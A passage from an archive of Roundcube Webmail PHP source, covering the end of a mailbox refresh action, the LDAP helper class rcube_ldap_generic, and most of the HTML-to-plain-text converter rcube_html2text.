                $list_mode = $rcmail->storage->get_threading() ? 'THREADS' : 'ALL';
                $all_count = $rcmail->storage->count($mbox_name, $list_mode, $list_mode == 'THREADS', false);

                // check current page if we're not on the first page
                if ($all_count && $page > 1) {
                    $remaining = $all_count - $page_size * ($page - 1);
                    if ($remaining <= 0) {
                        $page -= 1;
                        $rcmail->storage->set_page($page);
                        $_SESSION['page'] = $page;
                    }
                }

                $rcmail->output->set_env('messagecount', $all_count);
                $rcmail->output->set_env('pagecount', ceil($all_count/$page_size));
                $rcmail->output->command('set_rowcount', self::get_messagecount_text($all_count), $mbox_name);
                $rcmail->output->set_env('current_page', $all_count ? $page : 1);

                // remove old rows (and clear selection if new list is empty)
                $rcmail->output->command('message_list.clear', $all_count ? false : true);

                if ($all_count) {
                    $a_headers = $rcmail->storage->list_messages($mbox_name, null, self::sort_column(), self::sort_order());
                    // add message rows
                    self::js_message_list($a_headers, false);
                    // remove messages that don't exists from list selection array
                    $rcmail->output->command('update_selection');
                }

                $list_cleared = true;
            }

            // set trash folder state
            if ($mbox_name === $trash) {
                $rcmail->output->command('set_trash_count', $rcmail->storage->count($mbox_name, 'EXISTS', true));
            }
        }

        // handle flag updates
        if (!$list_cleared) {
            $uids = rcube_utils::get_input_value('_uids', rcube_utils::INPUT_POST);
            $uids = self::get_uids($uids, null, $multifolder);

            $recent_flags = [];

            foreach ($uids as $mbox_name => $set) {
                $get_flags = true;
                $modseq    = null;

                if ($mbox_name == $current) {
                    $data      = $rcmail->storage->folder_data($mbox_name);
                    $modseq    = !empty($_SESSION['list_mod_seq']) ? $_SESSION['list_mod_seq'] : null;
                    $get_flags = empty($modseq) || empty($data['HIGHESTMODSEQ']) || $modseq != $data['HIGHESTMODSEQ'];

                    // remember last HIGHESTMODSEQ value (if supported)
                    if (!empty($data['HIGHESTMODSEQ'])) {
                        $_SESSION['list_mod_seq'] = $data['HIGHESTMODSEQ'];
                    }
                }

                // TODO: Consider HIGHESTMODSEQ for all folders in multifolder search, otherwise
                // flags for all messages in a set are requested on every refresh

                if ($get_flags) {
                    $flags = $rcmail->storage->list_flags($mbox_name, $set, $modseq);

                    foreach ($flags as $idx => $row) {
                        if ($multifolder) {
                            $idx .= '-' . $mbox_name;
                        }
                        $recent_flags[$idx] = array_change_key_case(array_map('intval', $row));
                    }
                }

                $rcmail->output->set_env('recent_flags', $recent_flags);
            }
        }

        // trigger refresh hook
        $rcmail->plugins->exec_hook('refresh', []);

        $rcmail->output->send();
    }
}
PK
h�\l>Į�&�&,program/lib/Roundcube/rcube_ldap_generic.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide basic functionality for accessing LDAP directories          |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 |         Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

/**
 * Model class to access an LDAP directories
 *
 * @package    Framework
 * @subpackage LDAP
 */
class rcube_ldap_generic extends Net_LDAP3
{
    /** private properties */
    protected $cache = null;
    protected $attributes = ['dn'];
    protected $error;

    /**
     * Class constructor
     *
     * @param array $config Configuration
     */
    function __construct($config = null)
    {
        parent::__construct($config);

        $this->config_set('log_hook', [$this, 'log']);
    }

    /**
     * Establish a connection to the LDAP server
     */
    public function connect($host = null)
    {
        // Net_LDAP3 does not support IDNA yet
        // also parse_host() here is very Roundcube specific
        $host = rcube_utils::parse_host($host, $this->config['mail_domain']);
        $host = rcube_utils::idn_to_ascii($host);

        return parent::connect($host);
    }

    /**
     * Prints debug/error info to the log
     */
    public function log($level, $msg)
    {
        $msg = implode("\n", $msg);

        switch ($level) {
        case LOG_DEBUG:
        case LOG_INFO:
        case LOG_NOTICE:
            if (!empty($this->config['debug'])) {
                rcube::write_log('ldap', $msg);
            }
            break;

        case LOG_EMERG:
        case LOG_ALERT:
        case LOG_CRIT:
            rcube::raise_error($msg, true, true);
            break;

        case LOG_ERR:
        case LOG_WARNING:
            $this->error = $msg;
            rcube::raise_error($msg, true, false);
            break;
        }
    }

    /**
     * Returns the last LDAP error occurred
     *
     * @return mixed Error message string or null if no error occurred
     */
    function get_error()
    {
        return $this->error;
    }

    /**
     * @deprecated
     */
    public function set_debug($dbg = true)
    {
        $this->config['debug'] = (bool) $dbg;
    }

    /**
     * @deprecated
     */
    public function set_cache($cache_engine)
    {
        $this->config['cache'] = $cache_engine;
    }

    /**
     * @deprecated
     */
    public static function scope2func($scope, &$ns_function = null)
    {
        return self::scope_to_function($scope, $ns_function);
    }

    /**
     * @deprecated
     */
    public function set_config($opt, $val = null)
    {
        $this->config_set($opt, $val);
    }

    /**
     * @deprecated
     */
    public function add($dn, $entry)
    {
        return $this->add_entry($dn, $entry);
    }

    /**
     * @deprecated
     */
    public function delete($dn)
    {
        return $this->delete_entry($dn);
    }

    /**
     * Wrapper for ldap_mod_replace()
     *
     * @see ldap_mod_replace()
     */
    public function mod_replace($dn, $entry)
    {
        $this->_debug("C: Replace $dn: ".print_r($entry, true));

        if (!ldap_mod_replace($this->conn, $dn, $entry)) {
            $this->_error("ldap_mod_replace() failed with " . ldap_error($this->conn));
            return false;
        }

        $this->_debug("S: OK");
        return true;
    }

    /**
     * Wrapper for ldap_mod_add()
     *
     * @see ldap_mod_add()
     */
    public function mod_add($dn, $entry)
    {
        $this->_debug("C: Add $dn: ".print_r($entry, true));

        if (!ldap_mod_add($this->conn, $dn, $entry)) {
            $this->_error("ldap_mod_add() failed with " . ldap_error($this->conn));
            return false;
        }

        $this->_debug("S: OK");
        return true;
    }

    /**
     * Wrapper for ldap_mod_del()
     *
     * @see ldap_mod_del()
     */
    public function mod_del($dn, $entry)
    {
        $this->_debug("C: Delete $dn: ".print_r($entry, true));

        if (!ldap_mod_del($this->conn, $dn, $entry)) {
            $this->_error("ldap_mod_del() failed with " . ldap_error($this->conn));
            return false;
        }

        $this->_debug("S: OK");
        return true;
    }

    /**
     * Wrapper for ldap_rename()
     *
     * @see ldap_rename()
     */
    public function rename($dn, $newrdn, $newparent = null, $deleteoldrdn = true)
    {
        $this->_debug("C: Rename $dn to $newrdn");

        if (!ldap_rename($this->conn, $dn, $newrdn, $newparent, $deleteoldrdn)) {
            $this->_error("ldap_rename() failed with " . ldap_error($this->conn));
            return false;
        }

        $this->_debug("S: OK");
        return true;
    }

    /**
     * Wrapper for ldap_list() + ldap_get_entries()
     *
     * @see ldap_list()
     * @see ldap_get_entries()
     */
    public function list_entries($dn, $filter, $attributes = ['dn'])
    {
        $this->_debug("C: List $dn [{$filter}]");

        if ($result = ldap_list($this->conn, $dn, $filter, $attributes)) {
            $list = ldap_get_entries($this->conn, $result);

            if ($list === false) {
                $this->_error("ldap_get_entries() failed with " . ldap_error($this->conn));
                return [];
            }

            $count = $list['count'];
            unset($list['count']);

            $this->_debug("S: $count record(s)");
        }
        else {
            $list = [];
            $this->_error("ldap_list() failed with " . ldap_error($this->conn));
        }

        return $list;
    }

    /**
     * Wrapper for ldap_read() + ldap_get_entries()
     *
     * @see ldap_read()
     * @see ldap_get_entries()
     */
    public function read_entries($dn, $filter, $attributes = null)
    {
        $this->_debug("C: Read $dn [{$filter}]");

        if ($this->conn && $dn) {
            $result = @ldap_read($this->conn, $dn, $filter, $attributes, 0, (int)$this->config['sizelimit'], (int)$this->config['timelimit']);
            if ($result === false) {
                $this->_error("ldap_read() failed with " . ldap_error($this->conn));
                return false;
            }

            $this->_debug("S: OK");
            return ldap_get_entries($this->conn, $result);
        }

        return false;
    }

    /**
     * Turn an LDAP entry into a regular PHP array with attributes as keys.
     *
     * @param array $entry Attributes array as retrieved from ldap_get_attributes() or ldap_get_entries()
     * @param bool  $flat  Convert one-element-array values into strings (not implemented)
     *
     * @return array Hash array with attributes as keys
     */
    public static function normalize_entry($entry, $flat = false)
    {
        if (!isset($entry['count'])) {
            return $entry;
        }

        $rec = [];

        for ($i=0; $i < $entry['count']; $i++) {
            $attr = $entry[$i];
            if ($entry[$attr]['count'] == 1) {
                switch ($attr) {
                    case 'objectclass':
                        $rec[$attr] = [strtolower($entry[$attr][0])];
                        break;
                    default:
                        $rec[$attr] = $entry[$attr][0];
                        break;
                }
            }
            else {
                for ($j=0; $j < $entry[$attr]['count']; $j++) {
                    $rec[$attr][$j] = $entry[$attr][$j];
                }
            }
        }

        return $rec;
    }

    /**
     * Compose an LDAP filter string matching all words from the search string
     * in the given list of attributes.
     *
     * @param string $value      Search value
     * @param mixed  $attributes List of LDAP attributes to search
     * @param int    $mode       Matching mode:
     *                           0 - partial (*abc*),
     *                           1 - strict (=),
     *                           2 - prefix (abc*)
     * @return string LDAP filter
     */
    public static function fulltext_search_filter($value, $attributes, $mode = 1)
    {
        if (empty($attributes)) {
            $attributes = ['cn'];
        }

        $groups = [];
        $value  = str_replace('*', '', $value);
        $words  = $mode == 0 ? rcube_utils::tokenize_string($value, 1) : [$value];

        // set wildcards
        $wp = $ws = '';
        if ($mode != 1) {
            $ws = '*';
            $wp = !$mode ? '*' : '';
        }

        // search each word in all listed attributes
        foreach ($words as $word) {
            $parts = [];

            foreach ($attributes as $attr) {
                $parts[] = "($attr=$wp" . self::quote_string($word) . "$ws)";
            }

            $groups[] = '(|' . implode('', $parts) . ')';
        }

        return count($groups) > 1 ? '(&' . implode('', $groups) . ')' : implode('', $groups);
    }
}
PK
h�\'>X99k9k)program/lib/Roundcube/rcube_html2text.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (c) 2005-2007, Jon Abernathy <jon@chuggnutt.com>            |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Converts HTML to formatted plain text (based on html2text class)    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Jon Abernathy <jon@chuggnutt.com>                             |
 +-----------------------------------------------------------------------+
 */

/**
 *  Takes HTML and converts it to formatted, plain text.
 *
 *  Thanks to Alexander Krug (http://www.krugar.de/) to pointing out and
 *  correcting an error in the regexp search array. Fixed 7/30/03.
 *
 *  Updated set_html() function's file reading mechanism, 9/25/03.
 *
 *  Thanks to Joss Sanglier (http://www.dancingbear.co.uk/) for adding
 *  several more HTML entity codes to the $search and $replace arrays.
 *  Updated 11/7/03.
 *
 *  Thanks to Darius Kasperavicius (http://www.dar.dar.lt/) for
 *  suggesting the addition of $allowed_tags and its supporting function
 *  (which I slightly modified). Updated 3/12/04.
 *
 *  Thanks to Justin Dearing for pointing out that a replacement for the
 *  <TH> tag was missing, and suggesting an appropriate fix.
 *  Updated 8/25/04.
 *
 *  Thanks to Mathieu Collas (http://www.myefarm.com/) for finding a
 *  display/formatting bug in the _build_link_list() function: email
 *  readers would show the left bracket and number ("[1") as part of the
 *  rendered email address.
 *  Updated 12/16/04.
 *
 *  Thanks to Wojciech Bajon (http://histeria.pl/) for submitting code
 *  to handle relative links, which I hadn't considered. I modified his
 *  code a bit to handle normal HTTP links and MAILTO links. Also for
 *  suggesting three additional HTML entity codes to search for.
 *  Updated 03/02/05.
 *
 *  Thanks to Jacob Chandler for pointing out another link condition
 *  for the _build_link_list() function: "https".
 *  Updated 04/06/05.
 *
 *  Thanks to Marc Bertrand (http://www.dresdensky.com/) for
 *  suggesting a revision to the word wrapping functionality; if you
 *  specify a $width of 0 or less, word wrapping will be ignored.
 *  Updated 11/02/06.
 *
 *  *** Big housecleaning updates below:
 *
 *  Thanks to Colin Brown (http://www.sparkdriver.co.uk/) for
 *  suggesting the fix to handle </li> and blank lines (whitespace).
 *  Christian Basedau (http://www.movetheweb.de/) also suggested the
 *  blank lines fix.
 *
 *  Special thanks to Marcus Bointon (http://www.synchromedia.co.uk/),
 *  Christian Basedau, Norbert Laposa (http://ln5.co.uk/),
 *  Bas van de Weijer, and Marijn van Butselaar
 *  for pointing out my glaring error in the <th> handling. Marcus also
 *  supplied a host of fixes.
 *
 *  Thanks to Jeffrey Silverman (http://www.newtnotes.com/) for pointing
 *  out that extra spaces should be compressed--a problem addressed with
 *  Marcus Bointon's fixes but that I had not yet incorporated.
 *
 *  Thanks to Daniel Schledermann (http://www.typoconsult.dk/) for
 *  suggesting a valuable fix with <a> tag handling.
 *
 *  Thanks to Wojciech Bajon (again!) for suggesting fixes and additions,
 *  including the <a> tag handling that Daniel Schledermann pointed
 *  out but that I had not yet incorporated. I haven't (yet)
 *  incorporated all of Wojciech's changes, though I may at some
 *  future time.
 *
 *  *** End of the housecleaning updates. Updated 08/08/07.
 */

/**
 * Converts HTML to formatted plain text
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_html2text
{
    const LINKS_NONE = 0;
    const LINKS_END = 1;
    const LINKS_INLINE = 2;
    const LINKS_DEFAULT = self::LINKS_END;

    /**
     * Contains the HTML content to convert.
     *
     * @var string $html
     */
    protected $html;

    /**
     * Contains the converted, formatted text.
     *
     * @var string $text
     */
    protected $text;

    /**
     * Maximum width of the formatted text, in columns.
     *
     * Set this value to 0 (or less) to ignore word wrapping
     * and not constrain text to a fixed-width column.
     *
     * @var int $width
     */
    protected $width = 70;

    /**
     * Target character encoding for output text
     *
     * @var string $charset
     */
    protected $charset = 'UTF-8';

    /**
     * List of preg* regular expression patterns to search for,
     * used in conjunction with $replace.
     *
     * @var array $search
     * @see self::$replace
     */
    protected $search = [
        '/\r/',                                  // Non-legal carriage return
        '/\n*<\/?html>\n*/is',                   // <html>
        '/\n*<head[^>]*>.*?<\/head>\n*/is',      // <head>
        '/\n*<script[^>]*>.*?<\/script>\n*/is',  // <script>
        '/\n*<style[^>]*>.*?<\/style>\n*/is',    // <style>
        '/[\n\t]+/',                             // Newlines and tabs
        '/<p[^>]*>/i',                           // <p>
        '/<\/p>[\s\n\t]*<div[^>]*>/i',           // </p> before <div>
        '/<br[^>]*>[\s\n\t]*<div[^>]*>/i',       // <br> before <div>
        '/<br[^>]*>\s*/i',                       // <br>
        '/<i[^>]*>(.*?)<\/i>/i',                 // <i>
        '/<em[^>]*>(.*?)<\/em>/i',               // <em>
        '/(<ul[^>]*>|<\/ul>)/i',                 // <ul> and </ul>
        '/(<ol[^>]*>|<\/ol>)/i',                 // <ol> and </ol>
        '/<li[^>]*>(.*?)<\/li>/i',               // <li> and </li>
        '/<li[^>]*>/i',                          // <li>
        '/<hr[^>]*>/i',                          // <hr>
        '/<div[^>]*>/i',                         // <div>
        '/(<table[^>]*>|<\/table>)/i',           // <table> and </table>
        '/(<tr[^>]*>|<\/tr>)/i',                 // <tr> and </tr>
        '/<td[^>]*>(.*?)<\/td>/i',               // <td> and </td>
    ];

    /**
     * List of pattern replacements corresponding to patterns searched.
     *
     * @var array $replace
     * @see self::$search
     */
    protected $replace = [
        '',                                     // Non-legal carriage return
        '',                                     // <html>|</html>
        '',                                     // <head>
        '',                                     // <script>
        '',                                     // <style>
        ' ',                                    // Newlines and tabs
        "\n\n",                                 // <p>
        "\n<div>",                              // </p> before <div>
        '<div>',                                // <br> before <div>
        "\n",                                   // <br>
        '_\\1_',                                // <i>
        '_\\1_',                                // <em>
        "\n\n",                                 // <ul> and </ul>
        "\n\n",                                 // <ol> and </ol>
        "\t* \\1\n",                            // <li> and </li>
        "\n\t* ",                               // <li>
        "\n-------------------------\n",        // <hr>
        "<div>\n",                              // <div>
        "\n\n",                                 // <table> and </table>
        "\n",                                   // <tr> and </tr>
        "\t\t\\1\n",                            // <td> and </td>
    ];

    /**
     * List of preg* regular expression patterns to search for,
     * used in conjunction with $ent_replace.
     *
     * @var array $ent_search
     * @see self::$ent_replace
     */
    protected $ent_search = [
        '/&(nbsp|#160);/i',                      // Non-breaking space
        '/&(quot|rdquo|ldquo|#8220|#8221|#147|#148);/i', // Double quotes
        '/&(apos|rsquo|lsquo|#8216|#8217);/i',   // Single quotes
        '/&gt;/i',                               // Greater-than
        '/&lt;/i',                               // Less-than
        '/&(copy|#169);/i',                      // Copyright
        '/&(trade|#8482|#153);/i',               // Trademark
        '/&(reg|#174);/i',                       // Registered
        '/&(mdash|#151|#8212);/i',               // mdash
        '/&(ndash|minus|#8211|#8722);/i',        // ndash
        '/&(bull|#149|#8226);/i',                // Bullet
        '/&(pound|#163);/i',                     // Pound sign
        '/&(euro|#8364);/i',                     // Euro sign
        '/&(amp|#38);/i',                        // Ampersand: see _converter()
        '/[ ]{2,}/',                             // Runs of spaces, post-handling
    ];

    /**
     * List of pattern replacements corresponding to patterns searched.
     *
     * @var array $ent_replace
     * @see self::$ent_search
     */
    protected $ent_replace = [
        "\xC2\xA0",                             // Non-breaking space
        '"',                                    // Double quotes
        "'",                                    // Single quotes
        '>',
        '<',
        '(c)',
        '(tm)',
        '(R)',
        '--',
        '-',
        '*',
        '£',
        'EUR',                                  // Euro sign. €
        '|+|amp|+|',                            // Ampersand: see _converter()
        ' ',                                    // Runs of spaces, post-handling
    ];

    /**
     * List of preg* regular expression patterns to search for
     * and replace using callback function.
     *
     * @var array $callback_search
     */
    protected $callback_search = [
        '/<(a) [^>]*href=("|\')([^"\']+)\2[^>]*>(.*?)<\/a>/i', // <a href="">
        '/<(h)[123456]( [^>]*)?>(.*?)<\/h[123456]>/i',         // h1 - h6
        '/<(th)( [^>]*)?>(.*?)<\/th>/i',                       // <th> and </th>
    ];

    /**
     * List of preg* regular expression patterns to search for in PRE body,
     * used in conjunction with $pre_replace.
     *
     * @var array $pre_search
     * @see self::$pre_replace
     */
    protected $pre_search = [
        "/\n/",
        "/\t/",
        '/ /',
        '/<pre[^>]*>/',
        '/<\/pre>/'
    ];

    /**
     * List of pattern replacements corresponding to patterns searched for PRE body.
     *
     * @var array $pre_replace
     * @see self::$pre_search
     */
    protected $pre_replace = [
        '<br>',
        '&nbsp;&nbsp;&nbsp;&nbsp;',
        '&nbsp;',
        '',
        ''
    ];

    /**
     * Temp. PRE content
     *
     * @var string $pre_content
     */
    protected $pre_content = '';

    /**
     * Contains a list of HTML tags to allow in the resulting text.
     *
     * @var string $allowed_tags
     * @see self::set_allowed_tags()
     */
    protected $allowed_tags = '';

    /**
     * Contains the base URL that relative links should resolve to.
     *
     * @var string $url
     */
    protected $url;

    /**
     * Indicates whether content in the $html variable has been converted yet.
     *
     * @var bool $_converted
     * @see self::$html
     * @see self::$text
     */
    protected $_converted = false;

    /**
     * Contains URL addresses from links to be rendered in plain text.
     *
     * @var array $_link_list
     * @see self::_build_link_list()
     */
    protected $_link_list = [];

    /**
     * Links handling.
     * - 0 if links should be removed
     * - 1 if a table of link URLs should be listed after the text
     * - 2 if the link should be displayed to the original point in the text they appeared
     *
     * @var int $_links_mode
     */
    protected $_links_mode = 1;

    /**
     * Constructor.
     *
     * If the HTML source string (or file) is supplied, the class
     * will instantiate with that source propagated, all that has
     * to be done it to call get_text().
     *
     * @param string   $source     HTML content
     * @param bool     $from_file  Indicates $source is a file to pull content from
     * @param bool|int $links_mode Links handling mode
     * @param int      $width      Maximum width of the formatted text, 0 for no limit
     */
    function __construct($source = '', $from_file = false, $links_mode = self::LINKS_DEFAULT, $width = 75, $charset = 'UTF-8')
    {
        if (!empty($source)) {
            $this->set_html($source, $from_file);
        }

        $this->set_base_url();
        $this->set_links_mode($links_mode);

        $this->width   = $width;
        $this->charset = $charset;
    }

    /**
     * Sets the links behavior mode
     *
     * @param bool|int $mode
     */
    private function set_links_mode($mode)
    {
        $allowed = [
            self::LINKS_NONE,
            self::LINKS_END,
            self::LINKS_INLINE
        ];

        if (!in_array((int) $mode, $allowed)) {
            $this->_links_mode = self::LINKS_DEFAULT;
            return;
        }

        $this->_links_mode = (int) $mode;
    }

    /**
     * Loads source HTML into memory, either from $source string or a file.
     *
     * @param string $source    HTML content
     * @param bool   $from_file Indicates $source is a file to pull content from
     */
    function set_html($source, $from_file = false)
    {
        if ($from_file && file_exists($source)) {
            $this->html = file_get_contents($source);
        }
        else {
            $this->html = $source;
        }

        $this->_converted = false;
    }

    /**
     * Returns the text, converted from HTML.
     *
     * @return string Plain text
     */
    function get_text()
    {
        if (!$this->_converted) {
            $this->_convert();
        }

        return $this->text;
    }

    /**
     * Prints the text, converted from HTML.
     */
    function print_text()
    {
        print $this->get_text();
    }

    /**
     * Sets the allowed HTML tags to pass through to the resulting text.
     *
     * Tags should be in the form "<p>", with no corresponding closing tag.
     */
    function set_allowed_tags($allowed_tags = '')
    {
        if (!empty($allowed_tags)) {
            $this->allowed_tags = $allowed_tags;
        }
    }

    /**
     * Sets a base URL to handle relative links.
     */
    function set_base_url($url = '')
    {
        if (empty($url)) {
            if (!empty($_SERVER['HTTP_HOST'])) {
                $this->url = 'http://' . $_SERVER['HTTP_HOST'];
            }
            else {
                $this->url = '';
            }
        }
        else {
            // Strip any trailing slashes for consistency (relative
            // URLs may already start with a slash like "/file.html")
            if (substr($url, -1) == '/') {
                $url = substr($url, 0, -1);
            }
            $this->url = $url;
        }
    }

    /**
     * Workhorse function that does actual conversion (calls _converter() method).
     */
    protected function _convert()
    {
        // Variables used for building the link list
        $this->_link_list = [];

        $text = $this->html;

        // Convert HTML to TXT
        $this->_converter($text);

        // Add link list
        if (!empty($this->_link_list)) {
            $text .= "\n\nLinks:\n------\n";
            foreach ($this->_link_list as $idx => $url) {
                $text .= '[' . ($idx+1) . '] ' . $url . "\n";
            }
        }

        $this->text       = $text;
        $this->_converted = true;
    }

    /**
     * Workhorse function that does actual conversion.
     *
     * First performs custom tag replacement specified by $search and
     * $replace arrays. Then strips any remaining HTML tags, reduces whitespace
     * and newlines to a readable format, and word wraps the text to
     * $width characters.
     *
     * @param string &$text Reference to HTML content string
     */
    protected function _converter(&$text)
    {
        // Convert <BLOCKQUOTE> (before PRE!)
        $this->_convert_blockquotes($text);

        // Convert <PRE>
        $this->_convert_pre($text);

        // Remove body tag and anything before
        // We used to have '/^.*<body[^>]*>\n*/is' in $this->search, but this requires
        // high pcre.backtrack_limit setting when converting long HTML strings (#8137)
        if (($pos = stripos($text, '<body')) !== false) {
            $pos = strpos($text, '>', $pos);
            $text = substr($text, $pos + 1);
            $text = ltrim($text);
        }

        // Run our defined tags search-and-replace
        $text = preg_replace($this->search, $this->replace, $text);

        // Run our defined tags search-and-replace with callback
        $text = preg_replace_callback($this->callback_search, [$this, 'tags_preg_callback'], $text);

        // Strip any other HTML tags
        $text = strip_tags($text, $this->allowed_tags);

        // Run our defined entities/characters search-and-replace
        $text = preg_replace($this->ent_search, $this->ent_replace, $text);

        // Replace known html entities
        $text = html_entity_decode($text, ENT_QUOTES, $this->charset);

        // Replace unicode nbsp to regular spaces
        $text = preg_replace('/\xC2\xA0/', ' ', $text);

        // Remove unknown/unhandled entities (this cannot be done in search-and-replace block)
        $text = preg_replace('/&([a-zA-Z0-9]{2,6}|#[0-9]{2,4});/', '', $text);

        // Convert "|+|amp|+|" into "&", need to be done after handling of unknown entities
        // This properly handles situation of "&amp;quot;" in input string
        $text = str_replace('|+|amp|+|', '&', $text);

        // Bring down number of empty lines to 2 max
        $text = preg_replace("/\n\s+\n/", "\n\n", $text);
        $text = preg_replace("/[\n]{3,}/", "\n\n", $text);

        // remove leading empty lines (can be produced by e.g. P tag on the beginning)
        $text = ltrim($text, "\n");

        // Wrap the text to a readable format
        // for PHP versions >= 4.0.2. Default width is 75
        // If width is 0 or less, don't wrap the text.
        if ($this->width > 0) {
            $text = wordwrap($text, $this->width);
        }
    }

    /**
     * Helper function called by preg_replace() on link replacement.
     *
     * Maintains an internal list of links to be displayed at the end of the
     * text, with numeric indices or simply the link to the original point in the text they
     * appeared. Also makes an effort at identifying and handling absolute
     * and relative links.
     *
     * @param string $link    URL of the link
     * @param string $display Part of the text to associate number with
     */
    protected function _handle_link($link, $display)
    {
        if (empty($link)) {
            return $display;
        }

        // Ignored link types
        if (preg_match('!^(javascript:|mailto:|#)!i', $link)) {
            return $display;
        }

        // skip links with href == content (#1490434)
        if ($link === $display) {
            return $display;
        }

        if (preg_match('!^([a-z][a-z0-9.+-]+:)!i', $link)) {
            $url = $link;
        }
        else {
            $url = $this->url;
            if (substr($link, 0, 1) != '/') {
                $url .= '/';
            }
            $url .= "$link";
        }

        if (self::LINKS_NONE === $this->_links_mode) {
            // When not using link list use URL if there's no content (#5795)
            // The content here is HTML, convert it to text first
            $h2t     = new rcube_html2text($display, false, false, 1024, $this->charset);
            $display = $h2t->get_text();

            if (empty($display) && preg_match('!^([a-z][a-z0-9.+-]+://)!i', $link)) {
                return $link;
            }

            return $display;
        }

        if (self::LINKS_INLINE === $this->_links_mode) {
            return $this->_build_link_inline($url, $display);
        }

        return $this->_build_link_list($url, $display);
    }

    /**
     * Helper function called by _handle_link() on link replacement.
     *
     * Displays the link next to the original point in the text they
     * appeared.
     *
     * @param string $url     URL of the link
     * @param string $display linktext
     */
    protected function _build_link_inline($url, $display)
    {
        return $display . ' &lt;' . $url . '&gt;';
    }

    /**
     * Helper function called by _handle_link() on link replacement.
     *
     * Maintains an internal list of links to be displayed at the end of the
     * text, with numeric indices to the original point in the text they
     * appeared.
     *
     * @param string $url    URL of the link
     * @param string $display Part of the text to associate number with
     */
    protected function _build_link_list($url, $display)
    {
        if (($index = array_search($url, $this->_link_list)) === false) {
            $index = count($this->_link_list);
            $this->_link_list[] = $url;
        }

        return $display . ' [' . ($index+1) . ']';
    }

    /**
     * Helper function for PRE body conversion.
     *
     * @param string &$text HTML content
     */
    protected function _convert_pre(&$text)
    {
        // get the content of PRE element
        while (preg_match('/<pre[^>]*>(.*)<\/pre>/ismU', $text, $matches)) {
            $this->pre_content = $matches[1];

            // Run our defined tags search-and-replace with callback
            $this->pre_content = preg_replace_callback($this->callback_search,
                [$this, 'tags_preg_callback'], $this->pre_content);

            // convert the content
            $this->pre_content = sprintf('<div><br>%s<br></div>',
                preg_replace($this->pre_search, $this->pre_replace, $this->pre_content));

            // replace the content (use callback because content can contain $0 variable)
            $text = preg_replace_callback('/<pre[^>]*>.*<\/pre>/ismU',
                [$this, 'pre_preg_callback'], $text, 1);

            // free memory
            $this->pre_content = '';
        }
    }

    /**
     * Helper function for BLOCKQUOTE body conversion.
     *
     * @param string &$text HTML content
     */
    protected function _convert_blockquotes(&$text)
    {
        $level  = 0;
        $offset = 0;

        while (($start = stripos($text, '<blockquote', $offset)) !== false) {
            $offset = $start + 12;

            do {
                $end = stripos($text, '</blockquote>', $offset);
                $next = stripos($text, '<blockquote', $offset);

                // nested <blockquote>, skip
                if ($next !== false && $next < $end) {
                    $offset = $next + 12;
                    $level++;
                }
                // nested </blockquote> tag
                if ($end !== false && $level > 0) {
                    $offset = $end + 12;
                    $level--;
                }
                // found matching end tag
                else if ($end !== false && $level == 0) {
                    $taglen = strpos($text, '>', $start) - $start;
                    $startpos = $start + $taglen + 1;

                    // get blockquote content
                    $body = trim(substr($text, $startpos, $end - $startpos));

                    // adjust text wrapping width
                    $p_width = $this->width;
                    if ($this->width > 0) $this->width -= 2;

                    // replace content with inner blockquotes
                    $this->_converter($body);

                    // restore text width
                    $this->width = $p_width;

                    // Add citation markers and create <pre> block
                    $body = preg_replace_callback('/((?:^|\n)>*)([^\n]*)/', [$this, 'blockquote_citation_callback'], trim($body));
                    $body = '<pre>' . htmlspecialchars($body, ENT_COMPAT | ENT_HTML401 | ENT_SUBSTITUTE, $this->charset) . '</pre>';

                    $text = substr_replace($text, $body . "\n", $start, $end + 13 - $start);
                    $offset = 0;

                    break;
                }
                // abort on invalid tag structure (e.g. no closing tag found)
                else {
                    break;
                }
            }
            while ($end || $next);
        }
    }

    /**
     * Callback function to correctly add citation markers for blockquote contents
     */
    public function blockquote_citation_callback($m)
    {
        $line  = ltrim($m[2]);
        $space = isset($line[0]) && $line[0] == '>' ? '' : ' ';

        return $m[1] . '>' . $space . $line;
    }

    /**
     * Callback function for preg_replace_callback use.
     *
     * @param array $matches PREG matches
     *
     * @return string Element content
     */
    public function tags_preg_callback($matches)
    {
        switch (strtolower($matches[1])) {
        case 'th':
            return $this->_toupper("\t\t". $matches[3] ."\n");
        case 'h':
            return $this->_toupper("\n\n". $matches[3] ."\n\n");
        case 'a':
            // Remove spaces in URL (#1487805)
            $url = str_replace(' ', '', $matches[3]);
            $url = html_entity_decode($url, \ENT_HTML5, RCUBE_CHARSET);
            return $this->_handle_link($url, $matches[4]);
        }
    }

    /**
     * Callback function for preg_replace_callback use in PRE content handler.
     *
     * @param array $matches PREG matches
     *
     * @return string PRE content
     */
    public function pre_preg_callback($matches)
    {
        return $this->pre_content;
    }

    /**
     * Strtoupper function with HTML tags and entities handling.
     *
     * @param string $str Text to convert
     *
     * @return string Converted text
     */
    private function _toupper($str)
    {
        // string can containing HTML tags
        $chunks = preg_split('/(<[^>]*>)/', $str, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);

        // convert toupper only the text between HTML tags
        foreach ($chunks as $idx => $chunk) {
            if ($chunk[0] != '<') {
                $chunks[$idx] = $this->_strtoupper($chunk);
            }
        }

        return implode($chunks);
    }

    /**
     * Strtoupper multibyte wrapper function with HTML entities handling.
     *
     * @param string $str Text to convert
     *
     * @return string Converted text
     */
    private function _strtoupper($str)
    {
        $str = html_entity_decode($str, ENT_COMPAT, $this->charset);
